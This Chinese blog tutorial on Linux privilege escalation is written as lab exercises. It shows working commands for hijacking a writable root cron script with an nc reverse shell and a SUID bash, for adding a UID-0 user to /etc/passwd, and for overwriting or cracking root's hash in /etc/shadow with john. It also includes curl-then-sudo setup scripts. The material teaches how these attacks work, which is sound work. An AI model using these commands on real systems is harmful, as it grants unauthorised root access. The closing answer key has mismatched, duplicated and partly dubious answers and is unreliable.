2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 上集———— 作者：LJS

• 目录

  三、 linux提权

  3.1 LINUX passwd提权思考

  LINUX 提权思考 dirtypipe 5个字节 poc

  #每日思考# 现在我考考大家几个问题：

  3.2 Linux 提权之 CronJobs 提权

  实验介绍

  ​编辑

  知识点

  什么是 Cron 定时任务

  通过重写 crontab 调用脚本提权

  利用 cleanup.py 反弹 root 权限的 shell

  构建 SUID 提权

  crontab 通配符注入提权

  实验总结

  在本节实验中，我们学习了什么是 Cron Jobs 和 Cron 的使用语法，并通过实验掌握了 crontab 的使用方法，最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。

  祝你在接下来的技巧课程中学习愉快，学有所获~

  3.3 Linux 提权之 passwd 文件提权

  实验介绍​编辑

  知识点

  理解 /etc/passwd 文件含义

  通过 /etc/passwd 文件提权

  场景一：/etc/passwd 具有写权限

  初始化实验环境

  开始实验

  第一步-先设置用户名：

  第二步-设置密码：

  场景二：/etc/passwd 存储用户密码 hash

  初始化实验环境

  开始实验

  实验总结

  课后思考题

  3.4 Linux 提权之 shaodow 文件提权

  实验介绍​编辑

  知识点

  理解 /etc/shadow 文件含义

  通过 /etc/shadow 文件提权

  场景一：具有 /etc/shadow 文件写入权限

  初始化实验环境

  开始实验

  场景二：具有 /etc/shadow 文件的读取权限

  初始化实验环境

  开始实验

  实验总结

  答案3.1 LINUX passwd提权之课后思考题

  答案3.2 Linux 提权之 CronJobs 提权之课后思考题

  ---

  三、 linux提权

  3.1 LINUX passwd提权思考

  • LINUX 提权思考 dirtypipe 5个字节 poc

  • 利用写入/etc/passwd来提权，也可以写入/etc/shadow来提权。这两个文件究竟有何区别又有何联系呢？
  • 历史上Linux的前身，一些基于Unix的系统，是没有shadow这个文件的，用户密码的哈希就保存在/etc/passwd的第二个字段。但是/etc/passwd是全局可读的文件，用户的哈希可能被其他用户所读取，所以后来衍生出了/etc/shadow文件。
  • 自此之后，/etc/passwd的第二列通常设置为x，表示用户密码保存在/etc/shadow中，而/etc/shadow文件只有root用户可以读取和写入，这样就保护了密码哈希不能被第三方爆破。
  • /etc/shadow里面保存的信息和/etc/passwd不太一样：这两个文件的第一列和第二列都是用户名和密码，但/etc/shadow的第三列以后主要保存着密码策略，比如密码上次修改的时间、密码过期的时间、密码过期后多久禁用账户等等。
  • /etc/shadow的第二列也可以是*或!，这代表这个用户是无密码的（也就是不允许通过密码登录）。无密码不等于空密码，如果你想设置一个用户密码是空字符串，那就把第二列留空即可。

  • #每日思考# 现在我考考大家几个问题：

  1. 我将passwd和shadow中，root用户的第二列（密码字段）修改成两个不同的哈希值，那么登录Linux的时候以哪个为准？

  2. 如果我是root，我是否可以通过写入/etc/shadow来增加一个新的root用户？

  3. 在Ubuntu中，root用户无法直接登录，但普通ubuntu用户可以通过sudo命令来使用root权限。我如何不借助passwd等修改密码的命令来给root用户增加一个密码？

  4. 如果一个用户名在/etc/passwd里存在，而/etc/shadow里不存在，这个用户是否还可以正常登录？（答案在文末）

  • 3.2 Linux 提权之 CronJobs 提权

  • 实验介绍

  • 

  • 本实验主要介绍什么是 Cron Jobs 和 Cron 语法，通过实验帮助你快速掌握 crontab 的使用方法，然后进一步通过实验理解如何利用 crontab 的不正确配置进行 Linux 提权。

  • 知识点

  • 什么是 Cron Jobs
  • crontab 语法
  • crontab 执行脚本内容覆盖提权

  • 什么是 Cron 定时任务

  • Cron Jobs 是 Linux 系统中的「定时任务」，常被用来安排那些需要周期性执行的命令，例如定期备份数据、定期清理缓存等功能，因为使用到 cron 工具（crontab），因此被称作 Cron Jobs。
  • CronJobs 作为系统管理员最常用的功能之一，本身是非常棒的一个工具，但如果「定时任务」被设定为以更高的用户权限运行（例如 root 用户），则可能会被黑客利用来提权。
  • crontab 命令使用语法如下：
  • 其中 user 是可选的，若不指定用户，则使用当前用户的权限指定。
  • 需要注意的是，只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
  • 举个例子：
  • 如果我们想实现每小时输出一次 Apache 报错日志，可以使用如下语句：

  • 0 * * * * echo /var/log/lastlog

  • 因为小时、天、月、周都被设定为 *，因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。
  • 那如果需要每两小时的第 15 分钟执行一次命令，应该如何实现呢？
  • 我们只需要做一个简单的修改就可以了：

    15 */2 * * * echo /var/log/lastlog

  • 下面我们通过一个示例来理解一下cron 的用法。

    先执行如下命令初始化实验环境：

  • 我们的实验目标如下：

  • 通过 crontab 添加一个定时任务，每 1 分钟通过调用 cleanup.py 脚本清除 ~trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单，通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录：

  • 接下来使用如下命令在 crontab 中添加一条定时任务:

    sudo vim /etc/crontab
    * *     * * *   root    python /home/shiyanlou/cleanup.py

  • 
  • 由于我们的实验机器上 cron 服务默认是关闭的，所以我们需要手动使用下列命令开启 cron 服务

  • sudo service cron start

  • 
  • 接下来我们进入 ~/trashDirectory 目录，使用 ls 命令查看文件夹下的文件：

  • 可以看到，大概一分钟后 ~/trashDirectory 文件夹下数据被清空，说明 cron jobs 正常执行。

  • 至此，我想大家应该已经理解了 cron 的基本用法，那么下面我们就开始学习如何通过 Cron Jobs 提权。

  • 通过重写 crontab 调用脚本提权

  • 首先执行如下命令以初始化实验环境：

    curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh

  • 

  • 如上图所示，此时我们已经切换到了 tomcat-syl 用户（用于模拟攻击者获取的初始 shell），我们需要想办法提权到 root 权限。

  • 使用如下命令查看主机上的计划任务:

    cat /etc/crontab;

  • 

  • 有一条定时任务引起了我们注意：系统每分钟执行一个 ~/cleanup.py 脚本，并且是以 root 用户的权限运行。

  • 我们查看一下 ~/cleanup.py 脚本文件的内容：

    cat /home/shiyanlou/cleanup.py

  • 

  • 发现是一个定时清理目录的任务。

  • 接下来我们再查看该脚本的权限:

    ls -al /home/shiyanlou/cleanup.py

  • 

  • 发现了吗？ cleanup.py 的文件权限设置存在风险：其他用户也拥有 w 权限，这意味着我们可以编辑修改 cleanup.py 的内容!

  • 由于 cleanup.py 是以 root 权限运行的，因此我们可以利用的提权的方法非常多，下面我们列举两种方法。

  • 利用 cleanup.py 反弹 root 权限的 shell

  • 修改 cleanup.py 脚本执行的命令为如下命令：

    # 使用 nc 向本地 4444 端口反弹一个 shell
    nc 127.0.0.1 4444 -e /bin/bash

  • 
  • 然后执行如下命令监听本地的 4444 端口：

    nc -lnvp 4444

  • 

  • 等待一会之后，成功接收到了反弹回的 shell，并且是 root 权限。

  • 构建 SUID 提权

  • 还记得之前我们讲过的 SUID 提权吗？我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限，这样我们便可以利用它进行 SUID 提权，例如为 bash 添加 S 权限。

  • 此时 /bin/bash 是没有 s 权限的：

  • 和之前一样，修改 cleanup.py 脚本执行的命令为如下命令：

    chmod +s /bin/bash

  • 
  • 稍等一下，查看 /bin/bash 发现已经拥有了 s 权限，所以定时任务成功执行：
  • 如上图所示，使用 bash -p 即可获取 root 权限。

  • crontab 通配符注入提权

  • 实际渗透测试中，经常还会遇到 crontab 和 「Linux 通配符注入」结合进行提权的场景，但是由于通配符注入需要讲的内容还比较多，所以我们会在下一章中给大家介绍这种方法。

  • 实验总结

  • 在本节实验中，我们学习了什么是 Cron Jobs 和 Cron 的使用语法，并通过实验掌握了 crontab 的使用方法，最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。

  • 祝你在接下来的技巧课程中学习愉快，学有所获~

  • 3.3 Linux 提权之 passwd 文件提权

    实验介绍

  • /etc/passwd 和 /etc/shadow 文件是 Linux 系统登录认证的关键文件，如果系统运维人员对 passwd 或 shadow 文件的内容或权限配置有误，则可以被利用来进行系统提权。

  • 在本章中，我们主要探讨/etc/passwd 文件的提权方法， 利用/etc/shadow提权的方法会在下一章节讨论。

  • 本章节实验需要有 Linux 操作系统文件权限方面的基础知识，如果你对 Linux 文件权限尚不了解，建议先学习课程，实验 3——用户及文件权限管理。

    知识点

  • Linux 登录认证过程

  • /etc/passwd 文件含义

  • 通过 /etc/passwd 文件提权

• • 理解 /etc/passwd 文件含义

  • 我们先了解一下 /etc/passwd 内容的含义：

  • Linux 密码信息保存在两个文件中，分别为：/etc/passwd 和 /etc/shadow;/etc/passwd 文件用于保存用户信息，每一行代表一个用户，每一行通过冒号 : 分为七个部分:

  1. 用户名

  2. 密码，若为 x 则表示密码保存在/etc/shadow

  3. UID，0 代表 root

  4. GID，表示所在组

  5. 描述信息，依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other

  6. 用户主目录

  7. 默认 shell 类型

  • 例如，假设 /etc/passwd 文件中其中一行信息如下：

  • 其含义解读如下：

  • 用户名：test-user

  • 密码保存在 /etc/shadow 中

  • UID 为 1001

  • GID 为 1001

  • 描述信息： Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]

  • 用户主目录为 /home/test-user

  • 默认 shell 为 /bin/bash

  • 简单来说，当你登录 Linux 系统时会有以下几个步骤：

• 1. 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。

  2. 若匹配成功，再对比该行第二个字段的密码，如果均匹配成功即登录成功。

  3. 登录成功之后所具有的权限，通过第三个字段 UID 和第四个字段 GID 确定。

  4. 其中 UID=0 代表 root 用户，也就是说——无论第一个字段代表的用户名是什么，只要 UID=0，则该账户就拥有 root 权限。——这点在提权中非常重要。

  • 由此可见，/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。

  • 试想，如果我们能够对 /etc/passwd 文件内容进行伪造、篡改，那就能很轻易的登录成功并获取任意用户权限。

  • 不过一般情况下，只有 root 用户拥有对 /etc/passwd 文件的写入权限，其他用户均只有读取权限。但有时候由于系统管理员的错误配置，也会给我们带来可乘之机。

  • 通过 /etc/passwd 文件提权

  • 通常来说，通过 /etc/passwd 提权的方法有两种：

• 1. 如果具有 /etc/passwd 的 w (写入) 权限，可以直接添加一个 root 权限的用户

  2. 如果 /etc/passwd 中存储 root 用户密码哈希，可以使用 john 进行破解

  • k

    场景一：/etc/passwd 具有写权限

  • 简单介绍：/etc/passwd 权限配置错误，造成普通用户具有写权限。

  • 初始化实验环境

  • 首先需要初始化实验环境，打开终端并执行如下命令：

    curl https://labfile.oss.aliyuncs.com/courses/2650/init3.sh > ~/init3.sh;chmod +x ~/init3.sh;./init3.sh

  • 
  •  

    输出如上图所示，说明环境部署成功。

  • 此时我们已经切换到 tomcat-syl 用户——模拟渗透测试前期获取到的初始 shell。

  • 开始实验

  • 使用 whomai 查看当前用户：

  • 使用 id 查看 用户组 id 信息：
  •  

    通过上图中的信息可以看到，当前用户组为普通用户组 tomcat-syl，也没有明显可进一步利用的信息。

  • 接下来使用如下命令查看 /etc/passwd 和 /etc/shadow 文件的权限：

    ls -alh /etc/passwd /etc/shadow

  • 

  • 结果如上图所示，可以发现由于运维人员的错误配置，导致「其他用户」对 /etc/passwd 文件具有“ 写 ”权限。

  • 于是接下来的利用思路就是：

  • “自己构造一行用户数据添加到 passwd 文件中，用户名和密码自定义，并且将 UID 设置为 0，此时我们登陆就可以获取 root 权限。”

  • 使用如下命令查看 passwd 文件中 root 用户数据的格式，以此为参考来构造我们的用户数据：

    cat /etc/passwd|grep root

  • 
  • 得到的结果是：

    root:x:0:0:root:/root:/bin/bash

  • 第一步-先设置用户名：

  • 将用户名从 root 修改为其他任意用户名即可，例如 syl-passwd：

    syl-passwd:x:0:0:root:/root:/bin/bash

  • 第二步-设置密码：

  • 之前讲到过，第二个字段 x 表示该用户密码存放在 /etc/shadow 文件中，如果密码不用存在 /etc/shadow 中，可以直接将 x 替换为 「密码」 即可。

  • 但需要注意的是，这里的「密码」 并不是指明文密码，而是经过 hash 算法加密之后的密文字符串，那如何计算 hash 字符串呢？我们可以使用 openssl套件。

  • 使用 openssl创建一个密码为 pass123 的 linux hash，命令如下：

    openssl passwd -1 -salt ignite pass123

  • 参数解释：

  • -1 ：使用 MD5 hash 算法

  • -salt ：对 hash 算法加 "盐"

  • 计算得到的 hash 为$1$ignite$3eTbJm98O9Hz.k1NTdNxe1，用它来替换 x，最终我们构造出的 passwd 用户数据如下：

    syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

  • 接下来将它添加到 passwd 文件中：

    echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd

  • 注意：

  • 必须使用单引号，不能使用双引号

  • 使用 >> ，而不是 >

  • 使用如下命令确认我们添加成功：

    cat /etc/passwd|grep syl-passwd

  • 确认添加成功后，接下来我们使用 su syl-passwd 切换到 syl-passwd 用户，密码为 pass123:
  • k
  • k
  • k如上图所示，可以看到我们切换成功之后，我们成功获取到 Linux 系统的最高权限 —— root 权限。

  • 场景二：/etc/passwd 存储用户密码 hash

  • 简单介绍：/etc/passwd 中存储密码 hash，而不是存储在 /etc/shadow 中。

    初始化实验环境

  • 和之前一样，我们执行如下命令下载附件并初始化实验环境：

    curl https://labfile.oss.aliyuncs.com/courses/2650/init3-2.sh > ~/init3-2.sh;chmod +x ~/init3-2.sh;~/init3-2.sh

  • 
  • 输出如上图所示，说明环境部署成功。

  • 开始实验

    和之前一样，使用如下命令查看 /etc/passwd 和 /etc/shadow 文件的权限：

    ls -alh /etc/passwd /etc/shadow

  • 

  • 但是发现权限配置都是正确的，普通用户只具有 /etc/passwd 文件的读权限。

  • 接下来查看 /etc/passwd 文件的内容：

    cat /etc/passwd

  • 
  • 发现存在这样一行内容：

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

  • 这种情况一般是由于该主机曾经被入侵过，或者运维人员的错误配置造成的，这样我们就获得了 root 用户的密码 hash，但是如何利用呢？

  • 这就要使用到 hash 破解神器——john，该工具在 Kali 上是默认安装的，但在 ubuntu 上需要自己安装。 打开一个新终端，输入如下命令进行安装：

    sudo apt install john

  • 

  • john 会调用指定字典对 hash 字符串进行破解，破解时间取决于字典大小和计算机性能。

  • john 支持使用内置字典，也可以指定自定义字典，本课程中我们使用 john 自带字典完成破解。

  • 先将之前获取到的 root 用户 hash 写入文件 hash.txt 中：

    # 此处必须单引号
    echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt

  • john ~/hash.txt

  • 

  • 如上图所示，john 成功破解出密码为 hello。（由于此实验中密码比较简单，故 john 破解速度非常快，实际环境中由于密码复杂度可能更高，破解时间会更长。）

  • 我们再回到 tomcat-syl 用户 shell 中，使用 su 命令切换到 root 用户（输入密码时，不会有显示）：

  • 至此，我们成功提权到 root 用户。

  • 注意：

  • john 工具对于同一个破解文件中的同一条 hash 记录只会爆破一次，如果第二次执行 john  ~/hash.txt 是不会得到结果的，只会得到如下输出:
  • 如果想查看上一次爆破的结果，需要使用 --show 参数：

  • 实验总结

• • 在本节实验中，我们学习了 Linux 系统登录认证的过程，/etc/passwd 文件的意义，并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。

  • 祝你在接下来的课程中学习愉快，学有所获~

  • 课后思考题

  • 我们将构造的数据添加到 passwd 中时使用的命令如下：

    echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd

  • 为什么必须使用单引号，不能使用双引号，使用双引号时会造成什么错误呢？

  • 3.4 Linux 提权之 shaodow 文件提权

  • 实验介绍

  • /etc/passwd 和 /etc/shadow 文件是 Linux 系统登录认证的关键文件，如果系统运维人员对 shadow 或 shadow 文件的内容或权限配置有误，则可以被利用来进行系统提权。

  • 上一章中，我们已经学习了 /etc/passwd 文件的提权方法， 在本章节中，我们将学习如何利用/etc/shadow 来完成系统提权。

  • 知识点

  • /etc/shadow 文件含义

  • 通过 /etc/shadow 文件提权的方法

  • 理解 /etc/shadow 文件含义

  • 我们先了解一下 /etc/shadow 内容的含义

  • Linux 密码信息保存在两个文件中，分别为：/etc/passwd 和 /etc/shadow，/etc/passwd 文件的含义，我们在上一章已经讲过。

  • /etc/shadow 文件用于存储加密后的密码和密码相关的配置信息，该文件的每一行代表一个用户，每行都包含 9 个字段，用冒号(":")隔开，顺序如下：

  1. 用户名

  2. 加密后的密码

  3. 上次修改密码的时间(从 1970.1.1 开始的总天数)

  4. 两次修改密码间隔的最少天数，如果为 0，则没有限制

  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期，如果为 99999 则没有限制

  6. 提前多少天警告用户密码将过期

  7. 在密码过期之后多少天禁用此用户

  8. 用户过期日期(从 1970.1.1 开始的总天数)，如果为 0，则该用户永久可用

  9. 保留，未来使用

  • 例如，假设 /etc/shadow 文件中其中一行信息如下：

  • 其含义解读如下：

  1. 用户名：test-user

  2. 加密后的密码：$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0

  3. 上次修改密码的时间(从 1970.1.1 开始的总天数为 17470)

  4. 两次修改密码最小间隔天数：没有限制

  5. 两次修改密码最大间隔天数：没有限制

  6. 提前 7 天警告用户密码将过期

  7. 该用户永久可用

  • 默认情况下，只有 root 权限才能读取和修改 /etc/shadow 文件，但有时候由于系统管理员的错误配置，也会给我们带来可乘之机。

  • k

  • 通过 /etc/shadow 文件提权

  • 通常来说，通过 /etc/shadow 提权的方法有两种：

  1. 如果具有 /etc/shadow 的 w (写入) 权限，可以直接修改 root 密码

  2. 如果具有 /etc/shadow 的 r (读取) 权限，可以通过读取 root 用户密码并使用 john 进行破解

  • 因为 /etc/shadow 文件的提权方法和 /etc/passwd 是比较类似的，相信学习完上一章的同学能够很快掌握，所以本章的实验我会尽量简写，以节约大家时间，如果有不能理解的地方，欢迎评论区留言。
  • k

  • 场景一：具有 /etc/shadow 文件写入权限

    初始化实验环境

    首先需要初始化实验环境，打开终端并执行如下命令：

    curl https://labfile.oss.aliyuncs.com/courses/2650/init_shadow_1.sh > ~/init_shadow_1.sh;chmod +x ~/init_shadow_1.sh;sudo ./init_shadow_1.sh

  • 
  • 如上图所示，完成实验环境的部署，此时我们已经切换到 tomcat-syl 用户——模拟渗透测试前期获取到的初始 shell。
  • k

  • 开始实验

  • 使用如下命令查看 /etc/passwd 和 /etc/shadow 文件的权限：

    ls -alh /etc/passwd /etc/shadow

  • 
  • k

  • 从输出结果中我们发现，/etc/shadow 文件的所有者被错误配置为了 tomcat-syl 用户，导致我们拥有了对 /etc/shadow 文件的读写权限。

  • 于是接下来的利用思路就是：

  • 编辑/etc/shadow 文件，将 root 用户的密码篡改。

  • 命令查看 shadow 文件中 root 用户的密码配置：

    cat /etc/shadow|grep root

  • 
  • 得到的结果是：

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

  • 我们只需要替换第一个:和第二个:之前的字符串，这是经过加密之后的密码哈希。

  • 生成密码的方法和上一章中的一样，需要使用到 openssl 套件，创建一个密码为 pass123 的 linux hash，命令如下：

    openssl passwd -1 -salt ignite pass123

  • 参数解释：

  • -1 ：使用 MD5 hash 算法

  • -salt ：对 hash 算法加 "盐"

  • 计算得到的 hash 为:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

  • 使用 vim 编辑 etc/shadow，替换密码哈希：
  • 使用 cat 命令确认一下是否修改成功：
  • 确认添加成功后，使用 su root 切换到 root 用户，密码为 pass123:
  • 至此，我们成功获取到 Linux 系统的最高权限 —— root 权限。

• • 场景二：具有 /etc/shadow 文件的读取权限

  • 简介：如果具有/etc/shadow 文件的读取权限，可以获得 root 用户的密码哈希，再使用 john 工具进行破解。

  • 初始化实验环境

  • 新打开一个终端，执行如下命令开始配置实验环境:

    curl https://labfile.oss.aliyuncs.com/courses/2650/init_shadow_2.sh > ~/init_shadow_2.sh;chmod +x ~/init_shadow_2.sh;sudo ./init_shadow_2.sh

  • 

  • 输出如上图所示，说明环境部署成功。

  • 开始实验

  • 和之前一样，使用如下命令查看 /etc/passwd 和 /etc/shadow 文件的权限：

    ls -alh /etc/passwd /etc/shadow

  • 
  • 从输出结果中我们发现，/etc/shadow 文件其他用户也具有读取(r)权限，导致我们可以直接读取 /etc/shadow 的内容：

  • 可以看到，shadow 文件中记录了 root 用户的密码哈希，接下来我们使用 john 工具来破解。

  • Kali Linux 上默认安装了该工具，但在 ubuntu 实验机器上需要自己安装。打开一个新终端，输入如下命令进行安装：

    sudo apt install john

  • 

  • john 会调用指定字典对 hash 字符串进行破解，破解时间取决于字典大小和计算机性能。

  • john 支持使用内置字典，也可以使用用户自己的自定义字典，本课程中我们使用 john 自带字典完成破解。

  • j

  • 不过在开始破解之前，还有一步要做：

  • 在实战环境中，我们需要先将 /etc/passwd 和 /etc/shadow 的内容合并，否者 john 可能无法识别 /etc/shadow 中的内容。

  • 需要使用到 unshadow 命令：

    # 注意 passwd 必须是第一个参数 
    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt

  • 

  • 接下来就可以使用 john 来破解 shadow_crack.txt ，john 会自动加载所有识别到的用户 hash 并按次序破解：

    john ~/shadow_crack.txt

  • 稍微等待一下，成功破解出 root 密码：
  • 使用 su root 命令切换到 root 用户：

  • 至此，我们成功提权到 root 用户。

  • 实验总结

  • 在本节实验中，我们学习了/etc/shadow 文件的含义，并通过实验的方式学习了两种通过 shadow 文件提权的方法，如果有任何疑惑，欢迎在评论区留言。

  • 祝你在接下来的技巧课程中学习愉快，学有所获~

  • 答案3.1 LINUX passwd提权之课后思考题

  • 1

  • 1. 如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值，登录 Linux 时以 `/etc/shadow` 中的密码字段为准。这是因为 `/etc/shadow` 中存储的密码字段优先级高于 `/etc/passwd` 中的密码字段。系统验证用户身份时，会首先检查 `/etc/shadow` 中的密码哈希值。

  • 2. 作为 root 用户，你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的密码，但是不建议这样做。更好的做法是使用 `passwd` 命令来修改密码，因为这样会触发密码哈希值的重新计算，并确保密码的安全性。

  • 3. 在 Ubuntu 中，root 用户默认是被禁用的，无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加密码而不使用 `passwd` 命令，你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作，例如：

    bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow
    

  1.  

     如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值，登录 Linux 时以 `/etc/shadow` 中的密码字段为准。这是因为 `/etc/shadow` 中存储的密码字段优先级高于 `/etc/passwd` 中的密码字段。系统验证用户身份时，会首先检查 `/etc/shadow` 中的密码哈希值。

  2. 作为 root 用户，你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的密码，但是不建议这样做。更好的做法是使用 `passwd` 命令来修改密码，因为这样会触发密码哈希值的重新计算，并确保密码的安全性。

  3.  在 Ubuntu 中，root 用户默认是被禁用的，无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加密码而不使用 `passwd` 命令，你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作，例如：

     bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow
     
     

     这将会把 `root` 用户的密码字段修改为 `NEW_HASHED_PASSWORD`，而不需要直接使用 `passwd` 命令。

  4. 如果一个用户名在 `/etc/passwd` 中存在，而 `/etc/shadow` 中不存在，该用户将无法正常登录。因为系统验证用户身份时，会优先检查 `/etc/shadow` 中的密码字段，如果密码字段不存在，系统将无法验证用户身份，导致登录失败。

  • 答案3.2 Linux 提权之 CronJobs 提权之课后思考题

    echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd 
    
    该命令​为什么必须使用单引号，不能使用双引号，使用双引号时会造成什么错误呢？

  • 在这个命令中，使用单引号而不是双引号是为了确保 shell 不会解释或扩展引号内的任何特殊字符或变量。如果使用双引号，shell 会尝试对字符串进行变量扩展和特殊字符解释，这可能会导致一些问题，特别是在字符串中包含特殊字符或变量时。

  • 具体来说，如果在双引号中使用 `$` 符号，shell 会尝试将其后面的字符解释为变量名，并尝试进行变量扩展。如果字符串中存在与现有变量名相匹配的内容，那么 shell 将会替换这些内容为对应的变量值，而不是将其作为纯字符串处理。

  • 在这种情况下，由于字符串中包含 `$` 符号，且后面跟着数字，shell 可能会将其解释为一个变量名，尝试进行变量扩展，导致意外的行为或错误。因此，为了避免这种情况，使用单引号可以确保字符串中的内容被视为纯文本，而不进行任何解释或扩展。